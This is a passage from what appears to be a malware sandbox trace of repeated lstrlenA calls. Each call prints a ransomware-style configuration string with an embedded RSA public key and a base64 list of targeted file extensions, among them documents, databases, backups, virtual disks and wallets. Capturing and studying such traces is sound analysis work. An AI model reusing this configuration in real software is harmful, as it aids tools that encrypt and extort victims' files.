LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.131] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmE